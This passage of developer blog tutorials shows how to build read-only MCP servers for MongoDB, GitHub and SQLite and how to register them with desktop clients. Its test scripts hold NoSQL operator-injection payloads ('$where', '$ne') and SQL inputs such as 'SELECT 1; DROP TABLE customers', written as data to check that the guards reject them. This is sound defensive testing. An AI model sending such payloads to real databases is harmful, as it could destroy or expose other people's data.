on the server, $gt/$ne turn into match-all), or a dotted key that reaches into a subdocument the caller was never meant to touch.""" if not isinstance(filter, dict): raise ValueError("filter must be an object of field: value pairs") clean: dict[str, Any] = {} for key, value in filter.items(): if key.startswith("$") or "." in key: raise ValueError(f"illegal filter key: {key!r}") if isinstance(value, (dict, list)): raise ValueError(f"value for {key!r} must be a scalar, not an operator object") clean[key] = value return clean def _jsonable(doc: dict[str, Any]) -> dict[str, Any]: """BSON types are not JSON-serializable. Coerce ObjectId and datetime to strings so the document survives the JSON-RPC boundary intact.""" out: dict[str, Any] = {} for key, value in doc.items(): if isinstance(value, ObjectId): out[key] = str(value) elif isinstance(value, datetime): out[key] = value.isoformat() else: out[key] = value return out ``` The order matters: sanitize, then query. `_safe_filter` never mutates the caller's operators into something safe. It refuses the whole call. That is deliberate. A model that sends an operator is either malfunctioning or being driven by a prompt injection, and the right answer is an error the model can see and recover from, not a best-effort guess at what it meant. > **Why reject operators instead of escaping them** > > There is no safe way to "escape" a MongoDB operator the way you escape a SQL string, because the operator lives in the object structure, not in a value. `$where` is a key, not text. The only robust defense is a whitelist: allow plain field names and scalar values, reject everything else. ## Add the tools Now the three tools. Each one runs its filter through `_safe_filter` before it touches the database, so the guard is impossible to forget. `find_documents` caps the result at 50 so a bare query cannot stream an entire collection into the model's context, and coerces each document through `_jsonable` so BSON types do not break serialization. ```python @mcp.tool() def list_collections() -> list[str]: """List the collection names in the database.""" return sorted(db.list_collection_names()) @mcp.tool() def find_documents( collection: str, filter: dict[str, Any] | None = None, limit: int = 20 ) -> list[dict[str, Any]]: """Find documents in a collection by exact field match. `filter` is a flat map of field: value equality pairs; returns at most `limit` documents.""" query = _safe_filter(filter or {}) capped = max(1, min(limit, MAX_LIMIT)) cursor = db[collection].find(query).limit(capped) return [_jsonable(doc) for doc in cursor] @mcp.tool() def count_documents(collection: str, filter: dict[str, Any] | None = None) -> int: """Count the documents in a collection matching a flat equality filter.""" return db[collection].count_documents(_safe_filter(filter or {})) ``` > **Why coerce BSON before returning** > > MongoDB returns an `_id` of type `ObjectId` and dates as `datetime`. Neither is JSON-serializable, so returning a raw document raises a `TypeError` at the transport layer, not in your code. `_jsonable` turns them into strings up front, which is also the form a model can actually read back to you. ## Run it over stdio Add the entry point. `stdio` is the transport a local client launches directly: the client starts your process and speaks JSON-RPC over its standard input and output. Save the connection setup, the two helpers, the three tools, and this block as `server.py`. ```python if __name__ == "__main__": # stdio is the transport a local client (Claude Desktop, Cursor) launches. mcp.run("stdio") ``` ## Test it end to end before you trust it A database server that takes model-built filters is exactly the kind of code you do not ship on faith. This test seeds an in-memory MongoDB with `mongomock`, so it needs no running database, then drives all three tools and fires the injection attempts a real client will eventually send. The last loop is the one that matters: every operator filter must raise, not return rows. ```python """End-to-end test: seed an in-memory MongoDB, drive the tools, and assert that operator injection is refused. Uses mongomock, so no real database or network is required. Run it with: uv run python test_server.py""" import mongomock import server # Swap the live connection for an in-memory one and seed three users. server.db = mongomock.MongoClient()["app"] server.db.users.insert_many( [ {"name": "ada", "status": "active"}, {"name": "grace", "status": "active"}, {"name": "alan", "status": "disabled"}, ] ) # 1. list_collections sees the seeded collection. assert "users" in server.list_collections() # 2. An equality filter returns the matching docs, with _id coerced to a string. active = server.find_documents("users", {"status": "active"}) assert len(active) == 2 assert all(isinstance(doc["_id"], str) for doc in active) # 3. count_documents agrees with find. assert server.count_documents("users", {"status": "active"}) == 2 # 4. Every injection attempt is refused as a tool error, not executed. for attack in ({"$where": "true"}, {"name": {"$ne": ""}}, {"a.b": 1}): try: server.find_documents("users", attack) raise SystemExit(f"injection not blocked: {attack}") except ValueError: pass print("ALL CHECKS PASSED") ``` Run it with one command. The final `ALL CHECKS PASSED` line prints only if the equality queries returned the right documents and all three injection attempts were refused. ```bash uv run python test_server.py # ALL CHECKS PASSED ``` > **What a blocked call looks like** > > When the guard catches an operator, the tool raises `ValueError("illegal filter key: '$where'")`. The SDK turns an uncaught exception in a tool into an error result the client sees, so the model gets a readable message instead of a crash, and your database never runs the JavaScript. ## Connect it to Claude Desktop Point a local client at the server with an absolute directory and a read-only connection string. Use a MongoDB user that has `read` on the target database and nothing else, so the tools are physically incapable of writing even if a future tool has a bug. ```json { "mcpServers": { "mongo-tools": { "command": "uv", "args": ["--directory", "/absolute/path/to/mongo-tools", "run", "python", "server.py"], "env": { "MONGO_URI": "mongodb://readonly:secret@localhost:27017/", "MONGO_DB": "app" } } } } ``` ## Frequently asked questions ## Frequently asked questions ### How do I build an MCP server for MongoDB? Expose `list_collections`, `find_documents`, and `count_documents` tools from the Python `mcp` SDK, connect with a read-only PyMongo client, and run every model-supplied filter through a guard that allows only flat field-equality pairs. Serve it over stdio with `mcp.run("stdio")`. ### How do I prevent NoSQL injection in a MongoDB MCP server? Never pass a model-built filter straight to PyMongo. Rebuild it and allow only string keys that name a field with scalar values. Reject any key that starts with `$` (a query operator like `$where` or `$ne`) or contains a `.` (a subdocument path), and reject any value that is itself an object. This whitelist blocks operator injection at the structure level, where escaping cannot help. ### Why do ObjectId and datetime break the tool result? MongoDB returns BSON types that the JSON-RPC transport cannot serialize, so returning a raw document raises a `TypeError` at the transport layer. Coerce `ObjectId` and `datetime` to strings before returning, which also gives the model a value it can read and pass back. ### Should the MongoDB MCP server be read-only? Start read-only. Register only query tools and connect with a MongoDB user that has `read` and nothing else, so no tool can write or drop a collection even by mistake. Add write tools later behind their own guards once the read path is trusted. ### How do I let the model use operators like $gt or $in safely? Do not accept raw operators. Expose them as explicit typed tool parameters instead. For example, a `min_price: float` argument that your code turns into `{"$gt": min_price}` server-side. The model names the intent, your code owns the operator, and injection stays impossible. ### What versions does this code target? It is pinned to `mcp` 2.0.0, `pymongo` 4.11, and Python 3.11, which track the 2026-07-28 MCP specification. The filter-guard pattern itself is version-independent and applies to any driver. That is a MongoDB MCP server that lists collections and queries documents without ever letting a model reach the operator layer. The same guard (whitelist the structure, expose operators as typed parameters, return a tool error on anything else) is how you keep every database MCP server honest. Pair it with the Postgres and SQLite builds for the full data-source set. --- # How to Build an MCP Server for GitHub URL: https://mcporbit.com/blog/build-an-mcp-server-for-github Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-28 Updated: 2026-09-04 Category: Build it Tags: MCP, TypeScript, GitHub, REST API, Engineering Build a read-only GitHub MCP server in TypeScript that fetches repos, issues, and files. Works with no token for public repos, tested against the live API. To build a Model Context Protocol (MCP) server for GitHub, wrap the GitHub REST API in a small set of read-only tools and serve them over stdio with the official TypeScript SDK. The server below exposes three tools, `get_repo`, `list_issues`, and `get_file`, works with no token against public repositories, and takes a `GITHUB_TOKEN` for private repos and a higher rate limit. Every tool call is one authenticated `fetch` to `api.github.com`. This is a complete server in one file, tested end to end against the live GitHub API before it was published. Copy it, run the test, and point Claude Desktop at it. - Three read-only tools: `get_repo`, `list_issues`, and `get_file`, each one call to the GitHub REST API. - Runs unauthenticated for public repos (60 requests per hour); set `GITHUB_TOKEN` for 5,000 per hour and private access. - Built on the v2 split-package SDK: `@modelcontextprotocol/server` 2.0.0 and `zod` 4.4.3, served over stdio. - A failed API call throws, and the SDK returns it to the client as a tool error rather than crashing the server. - Companion code is run and asserted against `modelcontextprotocol/modelcontextprotocol` before shipping. ## What does a GitHub MCP server do? A GitHub MCP server turns GitHub data into tools an AI client can call. Instead of pasting a repository's README into a chat, the model calls `get_file` and reads it directly; instead of you summarizing open issues, it calls `list_issues`. The server is a thin, typed adapter: it takes a tool call, makes one REST request, and hands back the fields that matter. Keeping it read-only is a deliberate choice. The three tools here only ever issue `GET` requests, so the worst a confused or adversarial model can do is read public data it already had access to. Adding write tools (open an issue, push a commit) is a larger security decision, and it belongs behind a token with narrow scopes, not in your first server. ## Set up the project The v2 SDK ships as split packages: `@modelcontextprotocol/server` for the server and `@modelcontextprotocol/client` for the test client. Pin `zod` to 4.4.3, the SDK needs zod 4.2 or newer for its input schemas. This is an ESM-only project, so set the package type to `module`. ```bash mkdir github-mcp && cd github-mcp npm init -y && npm pkg set type=module npm install @modelcontextprotocol/server@2.0.0 zod@4.4.3 npm install -D @modelcontextprotocol/client@2.0.0 tsx@4 ``` > **Node 18+ for built-in fetch** > > The server calls the global `fetch`, which is built into Node 18 and later, so there is no HTTP client dependency. If you are on an older Node, upgrade rather than adding `node-fetch`; the whole point of this build is a small dependency surface. ## Write the API helper first Every tool makes the same shape of request, so factor it into one helper. It sets the three headers GitHub expects, adds a bearer token when `GITHUB_TOKEN` is present, and turns any non-2xx response into a thrown error carrying the status and body. That last part matters: when the helper throws, the SDK converts it into a tool error the model can read, instead of a silent empty result. > **Always send a User-Agent** > > GitHub rejects REST requests with no `User-Agent` header (`403 Request forbidden`). The helper always sets one. The `X-GitHub-Api-Version` header pins you to the 2022-11-28 REST API so a future default cannot change your responses underneath you. ## Register the tools Each tool is a name, a config object with a `title`, `description`, and a zod `inputSchema`, and an async handler. In v2 the `inputSchema` is a full `z.object(...)`, not a bare shape, and the handler receives the parsed, typed arguments. `get_repo` returns a compact object, `list_issues` filters out pull requests (GitHub's issues endpoint returns both), and `get_file` base64-decodes the contents API response. Here is the whole server. ```typescript // server.ts - a read-only GitHub MCP server on the v2 TypeScript SDK. // Works unauthenticated for public repos; set GITHUB_TOKEN for higher // rate limits and private repos. import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; const API = "https://api.github.com"; const TOKEN = process.env.GITHUB_TOKEN; async function gh(path: string): Promise { const headers: Record = { Accept: "application/vnd.github+json", "User-Agent": "github-mcp-server", "X-GitHub-Api-Version": "2022-11-28", }; if (TOKEN) headers.Authorization = `Bearer ${TOKEN}`; const res = await fetch(`${API}${path}`, { headers }); if (!res.ok) { const body = await res.text(); throw new Error(`GitHub API ${res.status} on ${path}: ${body.slice(0, 200)}`); } return res.json(); } function makeServer() { const server = new McpServer( { name: "github", version: "1.0.0" }, { capabilities: { tools: {} } }, ); server.registerTool( "get_repo", { title: "Get repository", description: "Fetch metadata for a public GitHub repository.", inputSchema: z.object({ owner: z.string(), repo: z.string() }), }, async ({ owner, repo }) => { const r = await gh(`/repos/${owner}/${repo}`); const out = { full_name: r.full_name, description: r.description, stars: r.stargazers_count, language: r.language, open_issues: r.open_issues_count, url: r.html_url, }; return { content: [{ type: "text", text: JSON.stringify(out, null, 2) }] }; }, ); server.registerTool( "list_issues", { title: "List issues", description: "List open issues for a repository, most recent first.", inputSchema: z.object({ owner: z.string(), repo: z.string(), limit: z.number().int().min(1).max(30).default(5), }), }, async ({ owner, repo, limit }) => { const issues = await gh( `/repos/${owner}/${repo}/issues?state=open&per_page=${limit}`, ); const rows = issues .filter((i: any) => !i.pull_request) // the issues endpoint also returns PRs .map((i: any) => `#${i.number} ${i.title} (${i.comments} comments)`); return { content: [{ type: "text", text: rows.join("\n") || "No open issues." }] }; }, ); server.registerTool( "get_file", { title: "Get file contents", description: "Read a UTF-8 text file at an optional ref (branch, tag, or SHA).", inputSchema: z.object({ owner: z.string(), repo: z.string(), path: z.string(), ref: z.string().optional(), }), }, async ({ owner, repo, path, ref }) => { const q = ref ? `?ref=${encodeURIComponent(ref)}` : ""; const r = await gh(`/repos/${owner}/${repo}/contents/${path}${q}`); if (Array.isArray(r)) throw new Error(`${path} is a directory, not a file`); const text = Buffer.from(r.content, "base64").toString("utf8"); return { content: [{ type: "text", text: text.slice(0, 4000) }] }; }, ); return server; } serveStdio(() => makeServer()); ``` > **The issues endpoint also returns PRs** > > `GET /repos/{owner}/{repo}/issues` includes pull requests in its results, because GitHub models a PR as an issue. Filter them out with `!i.pull_request` unless you actually want PRs mixed into the list, or your issue counts will be wrong. ## Serve it over stdio The last line does the serving. In v2, `serveStdio` takes a factory, `() => makeServer()`, not a server instance: it calls the factory once per connection so a fresh server is pinned for that connection's lifetime. Passing an already-built server here is the most common v2 mistake, and it surfaces as an `Internal server error` (-32603) on the very first request, including `initialize`. ## Test it end to end before you trust it A server that talks to a remote API is exactly the kind of code you do not ship on faith. This test spawns `server.ts` over stdio, connects a real MCP client, and calls the tools against a repository that exists (`modelcontextprotocol/modelcontextprotocol`). The assertion that matters most is the last one: a request for a repo that does not exist must come back with `isError: true`, proving the thrown error became a tool error instead of taking the server down. ```typescript // test-client.ts - spawn the server, call each tool against a real repo, assert. import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const transport = new StdioClientTransport({ command: "npx", args: ["tsx", new URL("./server.ts", import.meta.url).pathname], }); const client = new Client({ name: "test", version: "1.0.0" }); await client.connect(transport); function assert(cond: unknown, msg: string) { if (!cond) throw new Error("ASSERT FAILED: " + msg); console.log(" ok - " + msg); } const { tools } = await client.listTools(); assert(tools.length === 3, "3 tools registered"); const repo = await client.callTool({ name: "get_repo", arguments: { owner: "modelcontextprotocol", repo: "modelcontextprotocol" }, }); const info = JSON.parse((repo.content as any)[0].text); assert(info.full_name === "modelcontextprotocol/modelcontextprotocol", "get_repo returns full_name"); assert(typeof info.stars === "number" && info.stars > 0, "get_repo returns star count"); // The error path: a missing repo must come back as a tool error, not a crash. const bad = await client.callTool({ name: "get_repo", arguments: { owner: "modelcontextprotocol", repo: "does-not-exist-xyz" }, }); assert(bad.isError === true, "missing repo returns a tool error"); await client.close(); console.log("\nALL CHECKS PASSED"); ``` Run it with one command. Against the live API, this prints six `ok` lines and then the banner. ```bash npx tsx test-client.ts # ... # ALL CHECKS PASSED ``` ## Add it to Claude Desktop Point a client at the server with an absolute path to `server.ts` and, optionally, a token. In Claude Desktop, edit `claude_desktop_config.json` (see the companion guide, How to add an MCP server to Claude Desktop, for the exact file location per OS). Cursor uses the same `mcpServers` shape in `~/.cursor/mcp.json`. ```json { "mcpServers": { "github": { "command": "npx", "args": ["tsx", "/absolute/path/to/github-mcp/server.ts"], "env": { "GITHUB_TOKEN": "ghp_your_token_here" } } } } ``` The same server in MCPOrbit is those three values in a form. Command is `npx`, Arguments is `tsx /absolute/path/to/github-mcp/server.ts`, and the `GITHUB_TOKEN` entry goes in Environment Variables, which takes the same JSON object shape as the `env` block above. No file to edit and no restart. [How to add an MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) walks through the form. > **Give the token the narrowest scope** > > For public repos you need no token at all. For private repos, a fine-grained personal access token with read-only Contents and Issues permissions is enough for these three tools. Do not hand a full-scope classic token to a model. ## Frequently asked questions ## Frequently asked questions ### How do I build an MCP server for GitHub? Wrap the GitHub REST API in read-only tools with the official TypeScript SDK. Register `get_repo`, `list_issues`, and `get_file` on an `McpServer`, have each tool make one `fetch` to `api.github.com` with the `Accept`, `User-Agent`, and `X-GitHub-Api-Version` headers, and serve it over stdio with `serveStdio(() => makeServer())`. ### Do I need a GitHub token to use an MCP server? Not for public repositories. Unauthenticated requests to the GitHub REST API work but are limited to 60 per hour per IP. Set a `GITHUB_TOKEN` to raise that to 5,000 per hour and to reach private repos. The server here reads the token from the environment and adds it as a bearer header when present. ### Why does my MCP server return Internal server error on initialize? In the v2 TypeScript SDK, `serveStdio` expects a factory function that returns a server, not a server instance. If you pass an already-constructed `McpServer`, every request including `initialize` fails with a -32603 internal error. Wrap it: `serveStdio(() => makeServer())`. ### Why are pull requests showing up in my issues list? GitHub's `GET /repos/{owner}/{repo}/issues` endpoint treats pull requests as issues and returns both. Filter results where the `pull_request` field is present to get issues only. ### Is it safe to give an AI model access to GitHub through MCP? Read-only tools like these only issue `GET` requests, so a model cannot modify your repositories. The real risk is scope: use a fine-grained token limited to the repos and read permissions the tools need, never a full-access token. Add write tools only behind an explicit, narrowly scoped credential. That is a working GitHub MCP server: three read-only tools, one dependency plus zod, tested against the live API. Add tools by following the same pattern, one `registerTool` per endpoint, one `fetch` in the handler, and keep writes behind a scoped token. --- # How to build an MCP server for a SQLite database URL: https://mcporbit.com/blog/build-an-mcp-server-for-sqlite Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-27 Updated: 2026-09-04 Category: Tutorial Tags: MCP, TypeScript, SQLite, Tutorial, Databases Build a read-only Model Context Protocol server over a SQLite database in TypeScript: list tables, describe schema, and run SELECT queries. Runnable code. To build a Model Context Protocol (MCP) server for a SQLite database, open the database file read-only, then expose three tools with the official TypeScript SDK: one to list tables, one to describe a table, and one to run a SELECT query. Open the file read-only and reject anything that is not a SELECT, so a model can read your data but never change it. A database is the most common thing people want to put behind MCP. Once a model can list your tables and run a query, it can answer real questions about your data instead of guessing. SQLite is the easiest place to start: it is a single file, and Node.js 25 ships a built-in `node:sqlite` module, so there is no database server to install and no extra driver to add. This guide builds the server end to end and tests it against a real database. - An MCP database server exposes tools that read your database. A model calls them to answer questions grounded in your real data. - Node.js 25 has a built-in `node:sqlite` module, so a SQLite server needs no external database and no third-party driver. - Expose three tools: `list_tables` for discovery, `describe_table` for the schema, and `query` for a read-only SELECT. - Open the database read-only and allow only single SELECT statements. Both layers together keep a model from writing to your data. - All code here is pinned to `@modelcontextprotocol/sdk@1.30.0` on Node.js 25 and tested end to end. ## What is an MCP server for a database? An MCP server for a database is a small program that sits between a model and your data. It does not hand the model a raw connection. Instead it exposes a few named tools with typed inputs, and the model calls those tools. You decide what the tools can do. That is where the safety comes from: the model only ever gets to do what your tools allow. For a read-only analytics use case, three tools cover almost everything. `list_tables` lets the model discover what exists. `describe_table` gives it the columns and types so it can write correct SQL. `query` runs a single SELECT and returns rows. The model chains them: list, describe, then query. ## Set up the project Create a fresh directory and install the SDK. The project is an ES module, so `type` is set to `module`. `zod` declares the tool input schemas. The database itself needs no package: `node:sqlite` is built into Node.js 25. ```json { "name": "mcp-sqlite-demo", "private": true, "type": "module", "version": "1.0.0", "dependencies": { "@modelcontextprotocol/sdk": "^1.30.0", "zod": "^3.25.76" } } ``` ```bash npm install @modelcontextprotocol/sdk@1.30.0 zod@3.25.76 ``` > **Node version** > > The built-in `node:sqlite` module needs Node.js 22.5 or later, and this guide is tested on Node.js 25. Check yours with `node --version`. On older Node, install `better-sqlite3` instead; the same API shape applies. ## Create a database to read You need something to query. This seed script creates `app.db` with one `customers` table and a few rows. Save it as `seed.js` and run it once with `node seed.js`. In a real project you would point the server at your existing database file instead. ```javascript // seed.js: create a demo SQLite database the server can read. import { DatabaseSync } from "node:sqlite"; const db = new DatabaseSync("app.db"); db.exec(` DROP TABLE IF EXISTS customers; CREATE TABLE customers ( id INTEGER PRIMARY KEY, name TEXT NOT NULL, plan TEXT NOT NULL, country TEXT NOT NULL, mrr INTEGER NOT NULL ); `); const insert = db.prepare( "INSERT INTO customers (name, plan, country, mrr) VALUES (?, ?, ?, ?)" ); insert.run("Ada Lovelace", "pro", "GB", 49); insert.run("Alan Turing", "team", "GB", 199); insert.run("Grace Hopper", "pro", "US", 49); insert.run("Katherine Johnson", "enterprise", "US", 999); db.close(); console.log("Seeded app.db with 4 customers."); ``` Run `node seed.js` and it prints `Seeded app.db with 4 customers.`. You now have a real SQLite file to serve. ## How do you expose a SQLite database over MCP? The server opens the database file read-only and registers the three tools. Each tool declares its inputs with `zod` and returns its result as a JSON string in a text content block. The one rule that matters for safety lives in the `query` tool: it accepts a statement only if it starts with `select` or `with`, and it rejects anything with a second statement. Save this as `server.js`. ```javascript // server.js: an MCP server that exposes a read-only SQLite database. import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { DatabaseSync } from "node:sqlite"; import { z } from "zod"; // Path to the database file. Default to app.db in the current directory. const DB_PATH = process.env.SQLITE_DB_PATH ?? "app.db"; // Open read-only. The server can never write, drop, or alter the database. const db = new DatabaseSync(DB_PATH, { readOnly: true }); const server = new McpServer({ name: "sqlite-server", version: "1.0.0" }); server.registerTool( "list_tables", { title: "List tables", description: "List the names of all tables in the database.", inputSchema: {}, }, async () => { const rows = db .prepare( "SELECT name FROM sqlite_master WHERE type = 'table' AND name NOT LIKE 'sqlite_%' ORDER BY name" ) .all(); const names = rows.map((r) => r.name); return { content: [{ type: "text", text: JSON.stringify(names) }] }; } ); server.registerTool( "describe_table", { title: "Describe table", description: "Return the columns and types of one table.", inputSchema: { table: z.string() }, }, async ({ table }) => { // Validate the name against the catalog before interpolating it. // PRAGMA does not accept bound parameters for the table name. const exists = db .prepare( "SELECT 1 FROM sqlite_master WHERE type = 'table' AND name = ?" ) .get(table); if (!exists) { return { isError: true, content: [{ type: "text", text: `No such table: ${table}` }], }; } const cols = db.prepare(`PRAGMA table_info(${JSON.stringify(table)})`).all(); const schema = cols.map((c) => ({ name: c.name, type: c.type, notnull: Boolean(c.notnull), pk: Boolean(c.pk), })); return { content: [{ type: "text", text: JSON.stringify(schema, null, 2) }] }; } ); server.registerTool( "query", { title: "Run a read-only SQL query", description: "Run a single read-only SELECT query and return the rows as JSON. Writes are rejected.", inputSchema: { sql: z.string(), params: z.array(z.union([z.string(), z.number(), z.null()])).optional(), }, }, async ({ sql, params = [] }) => { const trimmed = sql.trim().replace(/;+\s*$/, ""); // Reject anything that is not a single SELECT/WITH statement. if (!/^(select|with)\b/i.test(trimmed)) { return { isError: true, content: [ { type: "text", text: "Only SELECT queries are allowed." }, ], }; } if (/;/.test(trimmed)) { return { isError: true, content: [ { type: "text", text: "Only a single statement is allowed." }, ], }; } try { const rows = db.prepare(trimmed).all(...params); return { content: [{ type: "text", text: JSON.stringify(rows, null, 2) }] }; } catch (err) { return { isError: true, content: [{ type: "text", text: `Query failed: ${err.message}` }], }; } } ); await server.connect(new StdioServerTransport()); ``` Three things in that file carry the safety story. The connection is opened with `{ readOnly: true }`, so SQLite itself refuses any write. The `query` tool allows only a single statement that begins with `select` or `with`. And `describe_table` checks the table name against the catalog before interpolating it, because `PRAGMA` cannot take a bound parameter. Values in `query` are always bound through `params`, never concatenated into the SQL. ## Test the server end to end Write a small client that spawns the server over stdio, lists the tools, and calls each one. It also tries a write and a second-statement injection to prove both get rejected. Save it as `client.js`. ```javascript // client.js: connect to the SQLite MCP server and exercise every tool. import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const transport = new StdioClientTransport({ command: "node", args: ["server.js"] }); const client = new Client({ name: "demo-client", version: "1.0.0" }); await client.connect(transport); const call = async (name, args) => { const r = await client.callTool({ name, arguments: args }); return r.content[0].text + (r.isError ? " [isError]" : ""); }; console.log("TOOLS:", (await client.listTools()).tools.map((t) => t.name).join(", ")); console.log("list_tables ->", await call("list_tables", {})); console.log("describe_table ->", await call("describe_table", { table: "customers" })); console.log("query (pro plan) ->", await call("query", { sql: "SELECT name, mrr FROM customers WHERE plan = ? ORDER BY mrr DESC", params: ["pro"], })); console.log("query (aggregate) ->", await call("query", { sql: "SELECT country, SUM(mrr) AS total FROM customers GROUP BY country ORDER BY total DESC", })); console.log("write blocked ->", await call("query", { sql: "DELETE FROM customers" })); console.log("multi blocked ->", await call("query", { sql: "SELECT 1; DROP TABLE customers" })); console.log("bad table ->", await call("describe_table", { table: "nope" })); await client.close(); ``` Run it with `node client.js`. The client starts the server, handshakes, and exercises every tool: ```text TOOLS: list_tables, describe_table, query list_tables -> ["customers"] describe_table -> [ ... id, name, plan, country, mrr ... ] query (pro plan) -> [{ "name": "Ada Lovelace", "mrr": 49 }, { "name": "Grace Hopper", "mrr": 49 }] query (aggregate) -> [{ "country": "US", "total": 1048 }, { "country": "GB", "total": 248 }] write blocked -> Only SELECT queries are allowed. [isError] multi blocked -> Only a single statement is allowed. [isError] bad table -> No such table: nope [isError] ``` That is the whole server. `list_tables` finds the tables, `describe_table` returns the schema, and `query` runs a parameterized SELECT and returns rows. The write and the injection both come back as errors, so a model connected to this server can read your data and nothing more. ## Why open the database read-only if you already block writes? The two checks guard different failures. The SELECT-only filter is your first line: it rejects an obvious `DELETE` or `UPDATE` before it ever reaches SQLite. But string checks can be fooled, and code changes over time. The read-only connection is the backstop. Even if a write slipped past the filter, SQLite refuses it at the storage layer with `attempt to write a readonly database`. Two independent layers mean one mistake does not cost you your data. > **Going further** > > For a database that a model can also write to, do not loosen these checks. Add separate, narrowly-typed tools like `insert_customer` with explicit fields, and keep `query` read-only. Give each write its own tool with its own validation instead of opening the query tool up. ## Connect it to a client Any MCP client can now use this server. In a desktop client, register it as a stdio server that runs `node server.js` in the project directory. Point it at a different file by setting `SQLITE_DB_PATH` in the server's environment. From that point the model can ask questions like which country has the most revenue, and the server answers them from your actual database. ## Frequently asked questions ## Frequently asked questions ### Do I need to install a database driver to build a SQLite MCP server? No. Node.js 22.5 and later ship a built-in `node:sqlite` module, so a SQLite server needs no third-party driver. This guide uses `DatabaseSync` from `node:sqlite` directly. On older Node, use `better-sqlite3` instead. ### How do I stop a model from writing to or dropping my tables? Use two layers. Open the connection with `{ readOnly: true }` so SQLite refuses every write, and in the query tool accept only a single statement that starts with `select` or `with`. A `DELETE`, `UPDATE`, or a second statement is rejected before it runs. ### How do I avoid SQL injection in the query tool? Never concatenate values into SQL. The query tool takes a `params` array and binds each value with `db.prepare(sql).all(...params)`. For identifiers like a table name, which cannot be bound, validate the name against `sqlite_master` before you use it. ### Can I use this same pattern for Postgres or MySQL? Yes. The MCP side is identical: the same three tools and the same read-only rules. Swap `node:sqlite` for a driver like `pg`, open a read-only connection or role, and keep the SELECT-only guard on the query tool. ### Should the server return rows as JSON or as a table? Return JSON in a text content block, as this server does. A model parses JSON reliably, and you keep types intact. If you want a human-readable table too, format it in the client after the tool returns. You now have a read-only database server that a model can query safely. Point it at a real SQLite file, register it with your MCP client, and you have grounded answers from your own data. To try it before you wire it into an agent, [open the server in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call the tools by hand. [Download MCPOrbit for macOS](/api/download) --- # How to add an MCP server to Claude Desktop, Cursor, and VS Code URL: https://mcporbit.com/blog/add-an-mcp-server-to-claude-desktop Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-26 Updated: 2026-09-06 Category: Tutorial Tags: MCP, Claude Desktop, Cursor, VS Code, Developer Tools, MCP Clients, Tutorial Add an MCP server to Claude Desktop, Cursor, or VS Code by editing one JSON config file: a command for a local server, a URL for a remote one. Then restart. To add a Model Context Protocol (MCP) server to Claude Desktop, Cursor, or VS Code, you edit one JSON config file that tells the client how to reach the server: a `command` to launch a local server, or a `url` for a remote one. Save the file, fully restart the client, and the server's tools appear. Every MCP client works the same way. It reads a small JSON file that lists your servers. Each entry is either a local server the client starts as a process, or a remote server it reaches over HTTP. Claude Desktop, Cursor, and VS Code differ only in where that file lives and what the top-level key is called. Learn the pattern once and you can wire a server into any of them. - Claude Desktop and Cursor use the same shape: a top-level `mcpServers` object keyed by server name. - VS Code uses a `servers` object and requires an explicit `type` field on each server. - A local (stdio) server is configured with `command` and `args`; a remote server is configured with a `url`. - You must fully restart the client after editing the file, not just close the window. - Put secrets in `env` (Claude Desktop, Cursor) or a prompted `inputs` entry (VS Code), never hard-coded in a shared file. ## The universal pattern: give the client a command or a URL An MCP client needs one thing: how to reach the server. For a local server, you give it a `command` and its `args`, and the client spawns that process and talks to it over stdio (standard input and output). For a remote server, you give it a `url` and the client connects over HTTP. Everything else, the tool names, the schemas, the prompts, is discovered automatically once the connection opens. So the config is short. Here is the minimal local-server entry that every client understands, give or take the wrapping key: ```json { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/you/projects"] } ``` That runs a filesystem server on demand with npx. Swap in `python`, `node`, `uv`, or the path to a server you built yourself. The rest of this post shows where that entry goes in each client. ## How to add an MCP server to Claude Desktop Open the config file, add your server under `mcpServers`, save, and fully restart Claude Desktop. The file lives here: - macOS: `~/Library/Application Support/Claude/claude_desktop_config.json` - Windows: `%APPDATA%\Claude\claude_desktop_config.json` If the file does not exist yet, create it. Then add one entry per server: ```json { "mcpServers": { "filesystem": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/you/projects"] }, "postgres": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-postgres"], "env": { "DATABASE_URL": "postgresql://localhost/mydb" } } } } ``` Quit Claude Desktop completely and reopen it. Closing the window is not enough, because the app keeps running in the background. After the restart, the server's tools appear in the client. Keep secrets like `DATABASE_URL` in the `env` block, not in the args. Both of those servers go into MCPOrbit as a form instead of a file entry, and the fields line up with the JSON above almost one for one. MCPOrbit has a `Command` field and a separate `Arguments (space-separated)` field, so `filesystem` goes in as `npx` in Command and `-y @modelcontextprotocol/server-filesystem /Users/you/projects` in Arguments, which is the `args` array above with spaces in place of the commas. `postgres` maps across the same way, with the `DATABASE_URL` entry moved into Environment Variables, which takes the same JSON object shape you see above. There is no file to keep valid and nothing to quit and reopen. The whole flow is at /blog/add-an-mcp-server-to-mcporbit. ## How to add an MCP server to Cursor Cursor uses the same `mcpServers` shape as Claude Desktop. Only the file location changes. Use a global file for servers you want everywhere, or a project file for servers scoped to one repo: - Global: `~/.cursor/mcp.json` - Per project: `.cursor/mcp.json` in the repo root The server block is identical to the Claude Desktop one: ```json { "mcpServers": { "filesystem": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "."] } } } ``` You can also add servers from Settings, MCP, without editing the file by hand. Once the server connects, switch the chat to Agent mode so the model is allowed to call its tools. ## How to add an MCP server to VS Code VS Code has had native MCP support since version 1.99 (early 2026), used through Copilot Chat in agent mode. Its config is close to the others, with two differences: the top-level key is `servers`, not `mcpServers`, and every server needs an explicit `type`. Put a workspace config in `.vscode/mcp.json`: ```json { "servers": { "filesystem": { "type": "stdio", "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "${workspaceFolder}"] } } } ``` For secrets, VS Code prefers a prompted input over a plaintext `env`. Declare an `inputs` entry and reference it with `${input:name}`. Copilot asks for the value the first time it starts the 